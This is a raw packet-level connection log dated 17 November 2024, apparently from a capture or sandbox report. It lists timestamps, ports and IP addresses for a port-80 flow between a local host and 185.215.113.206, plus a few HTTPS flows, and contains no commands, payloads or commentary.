Nov 17, 2024 10:07:42.199501991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199507952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199520111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199525118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199534893 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199538946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199553967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199558973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199579000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199583054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199592113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199603081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199605942 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199615002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199624062 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199628115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199639082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199645996 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199651957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199662924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199667931 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199673891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199686050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199697018 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199697018 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199718952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199719906 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199729919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199743986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199754953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199757099 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199767113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199779034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199779987 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199803114 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199815989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199866056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199884892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199896097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199906111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199908018 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199918032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199919939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199932098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199940920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199944019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199961901 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199963093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199975014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199985981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.199986935 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.199997902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200011015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200022936 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200026035 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200026035 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200035095 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200047970 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200047970 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200073957 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200083017 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200083017 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200097084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200125933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200131893 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200138092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200150013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200167894 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200195074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200195074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200206041 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200216055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200232029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200247049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200257063 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200258970 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200268030 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200279951 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200294018 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200305939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200333118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200344086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200357914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200361967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200367928 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200390100 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200395107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200407028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200416088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200421095 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200431108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200439930 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200459003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200479984 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.200484991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200495005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.200526953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.201977015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.202183962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.208300114 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.213563919 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.213583946 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.214102030 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.214107037 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.219465971 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.219630003 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.219691038 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.219850063 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.219871044 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.219885111 CET	49978	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.219892025 CET	443	49978	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.230073929 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.230130911 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.230204105 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.230439901 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.230457067 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.243989944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.244044065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.244071007 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.244081020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.244091988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.244102001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.244107962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.244111061 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.244132996 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.244149923 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.244182110 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.257507086 CET	443	49977	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:42.281702995 CET	443	49977	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:42.281799078 CET	49977	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:42.283766985 CET	49977	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:42.283780098 CET	443	49977	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:42.295538902 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.295600891 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.295685053 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.295824051 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.295840025 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.295852900 CET	49979	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.295859098 CET	443	49979	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.298542023 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.298583984 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.298666954 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.299057961 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.299077034 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.311934948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.311948061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.311959028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.311995983 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312001944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312015057 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312026978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312037945 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312038898 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312051058 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312068939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312093973 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312257051 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312299967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312304020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312310934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312335968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312352896 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312438965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312450886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312463999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312474012 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312479973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312485933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312490940 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312534094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312549114 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312628031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312645912 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312655926 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312666893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312673092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312680006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312691927 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312704086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312712908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312716961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312726021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312736988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312736034 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312748909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312761068 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312762022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312772989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312783003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312793970 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312794924 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312805891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312805891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312820911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312830925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312834978 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312849998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312860012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312869072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312870026 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312880039 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312886000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312896013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312896013 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312907934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312916994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312927008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312942028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312942028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312949896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312956095 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312959909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312963963 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.312964916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312973022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312978029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312983036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.312994003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313002110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313007116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313011885 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313015938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313020945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313024998 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313026905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313033104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313128948 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313157082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313179016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313191891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313194990 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313204050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313221931 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313221931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313230991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313235998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313247919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313251019 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313258886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313268900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313273907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313278913 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313297033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313302994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313302994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313311100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313324928 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313339949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313343048 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313360929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313374043 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313374043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313385010 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313411951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313421965 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313437939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313447952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313458920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313483953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313508034 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313535929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313546896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313551903 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313560009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313606024 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313705921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313715935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313728094 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313738108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313747883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313755035 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313760042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313771009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313781023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313782930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313793898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313795090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313811064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313821077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313827991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313832998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313844919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313852072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313857079 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313873053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313888073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313896894 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313906908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313920021 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313929081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313946009 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313950062 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313967943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313973904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.313978910 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.313982010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314001083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314002037 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314009905 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314013958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314024925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314034939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314037085 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314045906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314048052 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314058065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314069033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314073086 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314080954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314091921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314101934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314109087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314110041 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314114094 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314138889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314141035 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314157009 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314162970 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314168930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314179897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314183950 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314197063 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314205885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314208031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314219952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314224958 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314234018 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314244986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314251900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314256907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314268112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314277887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314291954 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314307928 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314323902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314346075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314362049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314372063 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.314376116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.314383984 CET	80	49892	185.215.113.206	192.168.2.6
